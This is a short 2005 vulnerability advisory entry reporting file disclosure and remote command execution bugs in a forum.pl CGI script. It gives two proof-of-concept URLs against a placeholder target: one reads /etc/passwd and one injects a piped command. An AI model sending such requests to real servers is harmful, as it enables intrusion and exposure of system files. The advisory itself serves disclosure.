remote command execution in forum.pl script

2005-04-26T00:00:00
ID SECURITYVULNS:DOC:8438
Type securityvulns
Reporter Securityvulns
Modified 2005-04-26T00:00:00

Description

Tunis 24/04/2005 BUG found by fireboy fireboy@webmails.com

THERE ARE SOME BUGS IN forum.pl SCRIPT THAT CAN SHOW SENSILBLES FILES IN A SYSTEM OR EXECUTE COMMANDS IN THE TARGET HOST WICH CAN COMPROMISE IT.

IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE

1)file showing http://www.target.com/cgi-bin/forum.pl?/etc/passwd

2)remote code execution http://www.target.com/cgi-bin/forum.pl?|command

greetz to all magattack memebers www.magattack.tk